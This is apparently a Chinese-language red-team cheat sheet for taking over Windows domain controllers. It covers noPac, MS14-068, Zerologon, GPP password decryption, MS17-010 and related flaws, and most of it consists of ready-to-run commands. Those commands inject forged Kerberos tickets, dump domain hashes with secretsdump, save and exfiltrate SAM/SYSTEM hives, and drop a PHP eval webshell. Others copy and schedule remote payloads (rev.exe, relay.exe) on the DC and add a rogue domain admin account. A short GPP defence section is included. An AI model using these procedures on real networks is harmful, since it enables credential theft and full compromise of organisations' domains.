攻击域控制器
通用漏洞
使用windows通用漏洞攻击机器获取权限
CVE-2021-42278
利用CVE-2021-42278 sAMAccountName名绕过漏洞和CVE-2021-42287 kerberos TGS认证漏洞组合利用,创建机器用户S4U2self生成域管权限ST。影响:windows 2008-2022。需要域账户。
- CVE-2021-42278,机器账户的名称一般用
$
结尾,但AD并未对域内机器账户名进行验证。 - CVE-2021-42287, 结合上述42278漏洞,创建一个与DC机器账户名称相同的机器账户(不以$结尾),使用该账户请求一个TGT后,修改账户名,然后通过S4U2Self申请TGS Ticket,然后DC进行在
TGS_REP
阶段加密TGS Ticket
时,无法找到该账户利用机器账户hash加密,DC便使用自己的hash加密TGS Ticket
,提供一个属于该账户的PAC
,我们便可得到一个高权限的ST。
攻击流程:
- 首先创建一个机器账户
- 清除机器账户的
servicePrincipalName
属性 - 将机器账户的
sAMAccountName
修改为DC的机器账户名,但不带$ - 使用机器账户的身份请求TGT
- 将机器账户的
sAMAccountName
修改为其他值,不能与DC的机器账户名重复。 - 通过S4U2Self向KDC申请ST
- 拿到高权限ST票据,完成利用。
利用原理:如果域内存在一台域控名为DC(机器账户为DC$)的域控机,此时攻击者可利用CVE-2021-42287漏洞去申请一个机器账户,再将机器账户的sAMAccountName
修改为DC。然后再利用这个机器账户去申请一个TGT票据,再将DC的sAMAccountName
修改为其他。修改结束后再利用这个TGT通过S4U2Self去申请ST票据,此时KDC识别TGT票据内用户名为DC,检索到域内并未存在DC用户,但存在DC$用户(检索的依据为sAMAccountName值),于是KDC通过DC机器的hash加密票据,我们便可成功拿到DC的权限。
sam-the-admin
python3 sam_the_admin.py pentest.local/web:'1qaz@WSX' -dc-ip 192.168.172.100 -debug
#打开调试模式,指定使用票据获取权限。
KRB5CCNAME='admin1.ccache' /usr/bin/impacket-smbexec -target-ip 192.168.172.100 -dc-ip 192.168.172.100 -k -no-pass @'dc.pentest.local'
python3 sam_the_admin.py pentest.local/web:'1qaz@WSX' -dc-ip 192.168.172.100 -dump
#dcsync
KRB5CCNAME='admin1.ccache' /usr/bin/impacket-secretsdump -target-ip 192.168.172.100 -dc-ip 192.168.172.100 -k -no-pass @'dc.pentest.local'
python3 sam_the_admin.py pentest.local/web:'1qaz@WSX' -dc-ip 192.168.172.100 -shell
nopac
python3 scanner.py -use-ldap pentest.local/web:'1qaz@WSX' -dc-ip 192.168.172.100 #漏洞扫描
python3 noPac.py -use-ldap pentest.local/web:'1qaz@WSX' -dc-ip 192.168.172.100 #获取ST服务票据
python3 noPac.py -use-ldap pentest.local/web:'1qaz@WSX' -dc-ip 192.168.172.100 -shell --impersonate administrator #模拟域管administrator用户
python3 noPac.py -use-ldap pentest.local/web:'1qaz@WSX' -dc-ip 192.168.172.100 --impersonate administrator -dc-host dc -dump
python3 noPac.py -use-ldap 域名/普通域用户:密码 -dc-ip 域控IP --impersonate administrator -dc-host 域控计算机名 -dump
nopac.exe
编译环境.net framwork 4.0+ 4.0运行有bug
#检测漏洞
noPac.exe scan -domain god.com -user test -pass 123456.com
#利用漏请求域管用户 cifs服务ST,用于访问共享
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service cifs /ptt
#利用漏请求域管用户 ldap服务ST,用于dcsync
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service ldap /ptt
#利用漏请求域管用户HOST/RPCSS服务ST,用于执行命令。远程利用可
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service HOST /ptt
noPac.exe -domain qaq.org -user admin -pass 'Aa123456' /dc test5-2012.qaq.org /mAccount saulgoodman /mPassword passW0rd /service RPCSS /ptt
#远程利用导出注入LDAP dcsync,先用MIMIkatz导出票据
python ticket_converter.py ticket.kirbi ticket.ccache
#kirbi转换为impacket ccache票据格式
export KRB5CCNAME=ticket.ccache
python secretsdump.py -k -no-pass test5-2012.qaq.org -just-dc
MS14-068
利用CVE-2014-6324漏洞,申请用户TGT修改PAC为域管权限,获取域控权限。需要一个域内凭证(域用户)
漏洞编号:CVE-2014-6324
• 补丁:3011780
• 漏洞描述:Windows Kerberos允许特权提升的漏洞,该漏洞可能允许攻击者提升普通域用户账户为域管理员账户。
• 漏洞影响:攻击者可以利用这些提升的权限控制域中所有的计算机,包括域服务器。
• 影响范围:
Windows Vista
Windows Server 2003
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows 8 & Windows 8.1
Windows Server 2012 & Windows Server 2012 R2
漏洞成因:
- 从客户端解释: 当用户进行登录身份验证服务,服务会验证PAC中的签名,并使用PAC中的数据为用户创建一个登录令牌。比如:如 果PAC能够携带有效的签名表明“ichunqiu”是“域管理”安全组的成员,那么创建的登录令牌就将“ichunqiu”当 作“域管理”组中成员。这样的Kerberos认证存在问题,攻击者可以伪造身份,从普通域用户提升到域管理权限。
- 从服务器端解释: KDC对PAC进行验证时,没有严格验证算法。原理上规定必须是带有Key的签名算法才可以。但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证。因此伪造的任意内容都可以是合法的,直接加上内容的MD5值作为签名即可。
前提:
- 通过漏洞拿下域内成员机器
- 通过命令定位域控以及域控IP地址
- 通过工具获取域普通用户密码和sid
域控端口特征:88,389,53
工具抓明文密码,抓不到解密hash。
域控机器名:
net group "domain controllers" /domain #DC
net time /domain #获取域控机器名
net user /domain #获取域控机器名
域名:
net group "domain controllers" /domain #DC
net time /domain #获取域控机器名
net user /domain #获取域控机器名
域控IP:
ping -4 DC -n 1 #10.10.0.200
域普通用户:
whoami | hashdump
域普通用户明文密码:
抓明文密码手段
ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户sid -d 域控IP地址
ms14-068.exe -u icq@icq.com -p 1qaz@WSX -s S-1-5-21-3142119781-891566317-3291525900-1105 -d 10.10.0.200
#在本地生成TGT_icq@icq.com.ccache文件
klist purge #清除票据
mimikatz 注入票据到当前内存
mimikatz.exe "kerberos::ptc c:\jspstudy\www\phproot\TGT_icq@icq.com.ccache" "exit"
klist #查看当前计算机的票据 TGT_icq@icq.com.ccache
dir \\dc.icq.com\c$
copy rev.exe \\dc.icq.com\c$\rev.exe
net time /domain
at \\dc.icq.com 10:10 \\dc.icq.com\c$\rev.exe
psexec.exe -accepteula \\dc.icq.com cmd #前提拿到域成员机器的交互shell
#返回域控的shell
whoami #icq.com/icq 现在拥有域管理员权限
net user icq1 1qaz@WSX /add /domain
net group "domain admins" icq1 /add /domain
MS17-010
使用ms17-010漏洞攻击域控制器获取权限。
存在杀软导致ms17-010利用失败时,可使用匿名管道(知道匿名管道名称)或一个普通用户凭证(普通域用户凭证)发payload绕过杀软
攻击PC终端可能会导致蓝屏重启
组策略首选项提权
Windows 2008 Server引入了一项称为组策略首选项的新功能,该功能使管理员可以部署影响域中计算机/用户的特定配置。通过在组策
略管理控制台中配置的组策略首选项,管理员可以推出多种策略,例如,当用户登录其计算机时自动映射网络驱动器,更新内置管理员帐
户的用户名或对注册表进行更改。
常见的组策略首选项(Group Policy Preferences,GPP):
- 映射驱动器(Drives.xml)
- 创建本地用户
- 数据源(DataSources.xml)
- 打印机配置(Printers.xml)
- 创建、更新服务(Services.xml)
- 计划任务(ScheduledTasks.xml)
环境配置与利用
组策略首选项功能是Windows 2008 Server引入的,并且08之后的版本都已经打过该漏洞的补丁,实验域控机器为server 2008 R2服务
器。
1.在域控运行中输入gpmc.msc,进入组策略管理,右键组策略对象,新建test组策略:
2.右键新建的组策略,编辑,找到本地用户和组,并右键新建本地用户:
3.新建本地用户,将域中每个计算机的本地密码设置成 qwer123456
4.获取组策略的凭据:
管理员在域中新建一个组策略后,操作系统会自动在SYSVO共享目录中生成一个XML文件,该文件保存了该组策略更新后的密码。该密码
使用AES-256加密算法,安全性较高,微软对外公布了该密码的私钥,导致保存在XML文件中的密码的安全性大大降低。任何域用户和域
信任的用户均可对该共享目录进行访问,并对保存在XML文件中的密码解密,从而控制域中所有使用该账号、密码的本地管理员计算机。
在SYSVOL中搜索,可找到Groups.xml文件。关键是cpassword字段,该字段用AES-256算法加密。
SYSVOL:它是活动目录里面的一个用于存储域公共文件服务器副本的共享文件夹,在域中的所有域控制器之间进行复制。SYSVOL文件夹
是在安装活动目录时自动创建的,主要用来存放登录脚本、组策略数据及其他域控制器需要的域信息等。
获取组策略的凭据:
dir /s /a \\目标机器IP\SYSVOL\*.xml
5.破解方法
1--利用kali自带的命令gpp-decrypt进行破解刚才获取的密文:
gpp-decrypt 7ud2rxJhwxT5iaNrNltLxQcQ1hNN2cmCgxha3Faj4YA
2--使用MSF获取cpassword,MSF中 post/windows/gather/credentials/gpp 模块可以获取组策略中的密码。
注意,只需要获取域内任何一台以域用户权限登录的机器的权限即可。
3--使用PowerShell获取password,PowerSploit中的Get-GPPPassword.ps1脚本可以获取组策略中的密码,获取密码后可用本地
Administrator账号登录:
Import-Module .\Get-GPPPassword.ps1;Get-GPPPassword
尝试ipc连接dc。
直接连接的上,因为拿到了域管的账号密码。至此,整个域全部拿下。
针对组策略首选项提权的防御措施:
在用于管理组策略的计算机上安装 KB2962486补丁,防止新的凭据被放置在组策略首选项中。微软在2014年修复了组策略首选项提权漏
洞,使用的方法就是不再将密码保存在组策略首选项中。
此外,针对Everyone访问权限进行设置,具体如下:
(1)设置共享文件夹SYSVOL的访问权限
(2)将包含组策略密码的 XML 文件从 SYSVOL 目录中删除
(3)不要把密码放在所有域用户都有权访问的文件中
(4)如果需要更改域中机器的本地管理员密码,建议使用LAPS(本地密码管理方案)
CVE-2019-0708
利用cve-2019-0708 RDP远程代码执行漏洞获取权限,可能会蓝屏
利用: https://github.com/cbwang505/CVE-2019-0708-EXP-Windows https://github.com/RICSecLab/CVE-2019-0708 metasploit cve-2019-0708 exp模块
CVE-2020-0796
利用CVE-2020-0796 SMB v3远程代码执行漏洞获取权限,可能会蓝屏。只影响Windows 10 1903-1909
利用: https://github.com/ZecOps/CVE-2020-0796-RCE-POC metasploit CVE-2020-0796 exp模块
CVE-2020-1472
高危害漏洞,不用
组件概述
Netlogon远程协议是一个远程过程调用(RPC)接口,用于基于域的网络上的用户和计算机身份验证。Netlogon远程协议RPC接口还用于为备份域控制器(BDC)复制数据库。
Netlogon远程协议用于维护从域成员到域控制器(DC),域的DC之间以及跨域的DC之间的域关系。此RPC接口用于发现和管理这些关系。
漏洞概述
该漏洞主要是由于在使用Netlogon安全通道与域控进行连接时,由于认证协议加密部分的缺陷,导致攻击者可以将域控管理员用户的密码置为空,从而进一步实现密码hash获取并最终获得管理员权限。成功的利用可以实现以管理员权限登录域控设备,并进一步控制整个域。注意:置空域机器用户密码会导致域控机器脱域,导致域内依赖ldap提供的服务通信异常,DNS服务异常,需要及时还原。
该漏洞又称之为zerologon。
漏洞范围
Microsoft Windows Server 2008 R2 SP1
Microsoft Windows Server 2012
Microsoft Windows Server 2012 R2
Microsoft Windows Server 2016
Microsoft Windows Server 2019
Microsoft Windows Server version 2004 (Server Core Installation)
Microsoft Windows Server version 1903 (Server Core Installation)
Microsoft Windows Server version 1909 (Server Core Installation)
影响Windows Server 2008R 2至Windows Server 2019的多个版本系统
漏洞复现
mimikatz置空密码
mimikatz.exe
privilege::debug
# 检测是否存在漏洞
lsadump::zerologon /target:<dc-ip> /account:<主机名>\$
# 重置密码
lsadump::zerologon /target:<dc-ip> /account:<主机名>\$ /exploit
半交互式shell运行
# 检测是否存在漏洞
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.10.2 /account:DC$" exit
# 重置密码
mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.10.2 /account:DC$ /exploit" exit
MSF置空密码
msf6>use auxiliary/admin/dcerpc/cve_2020_1472_zerologon
msf6>set rhosts 192.168.10.2
rhosts => 192.168.10.2
msf6>set nbname WIN-VOKC88ABHKA
msf6>check #检查是否存在漏洞
msf6>run -j -z #置空hash
或使用脚本
proxychains python3 cve-2020-1472-exploit.py WIN-VOKC88ABHKA 192.168.10.2
运行exp,确定把域控机器账户密码置换成空
利用工具空密码dump hash
proxychains impacket-secretsdump icq.com/WIN-VOKC88ABHKA\$@192.168.10.2 -no-pass
获取域管hash后使用psexec等进行pth登录
msf6>use exploit/windows/smb/psexec
msf6>set rhost 192.168.10.2
msf6>set smbuser administrator
msf6>set smbpass aad3b435b51404eeaad3b435b51404ee:99d85d9d737629f593b11771123df22c
msf6>run -j -z
meterpreter>shell
c:\>reg save HKLM\SYSTEM system.hiv
c:\>reg save HKLM\SAM sam.hiv
c:\>reg save HKLM\SECURITY security.hiv
meterpreter>download system.hiv sam.hiv security.hiv
meterpreter>shell
# 删除文件
c:\>del /f system.hiv
c:\>del /f sam.hiv
c:\>del /f security.hiv
解密本地凭据
impacket-secretsdump -sam sam.hiv -system system.hiv -security security.hiv LOCAL
$MACHINE.ACC:
的值,然后使用reinstall_original_pw.py
进行还原凭据
python3 reinstall_original_pw.py WIN-VOKC88ABHKA 192.168.10.2 9b0650a23fe343e49536ab757440b1a1
MS14-068实验
1.empire cms 后台导入模版任意代码执行
2.admin/admin666 key:admin666
3.echo "<?php file_put_contents('shell.php','<?php @eval(\$_REQUEST[1]);?>');?>" > php.mod
4.系统-数据表与系统模型-管理数据表-导入系统模型
5.phome_ecms_xxx 选择php.mod 导入成功后就在http://172.16.12.2/e/admin/shell.php?1=phpinfo();
6.连接webshell,上传CS远控,运行返回session
7.上传mimikatz,MS14-068.exe
8.mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" "exit" > 1.txt
net time /domain #域控域名:WIN-VOKC88ABHKA.icq.com
ping -4 WIN-VOKC88ABHKA.icq.com #域控IP地址:192.168.10.2
ipconfig /all dns=192.168.10.2
systeminfo |findstr "3011780" #检测目标是否存在该补丁
# ms14-068.exe -u 域用户@域名 -p 域用户密码 -s 域用户sid -d 域控IP地址
9.MS14-068.exe -u qqqq@icq.com -p "qwer1234!@#$" -s S-1-5-21-1525956261-1375652688-288367009-1104 -d 192.168.10.4 #成功票据
10.TGT_qqqq@icq.com.ccache
klist purge #清空票据
11.mimikatz.exe "kerberos::ptc C:\phpStudy\WWW\e\admin\TGT_qqqq@icq.com.ccache" "exit"
12.dir \\WIN-VOKC88ABHKA.icq.com\C$ 利用伪造的高权限票据查看域控默认共享
13.CS中继监听器生成relay.exe copy relay.exe \\WIN-VOKC88ABHKA.icq.com\C$
14.net time \\WIN-VOKC88ABHKA.icq.com
15.at \\WIN-VOKC88ABHKA.icq.com 10:10 \\WIN-VOKC88ABHKA.icq.com\C$\relay.exe
16.通过psexec.exe上线执行文件
PTH hash
工作组环境
只能管理员账户进行PTH,补丁kb2871997能够防止PTH,但安装了该补丁后任然可以PTH,仅sid为500的administrator用户PTH,如果administrator改过名,用新的用户名进行PTH
域环境
域管理员用户能够PTH,普通用户不能PTH 安装补丁跟工作组相同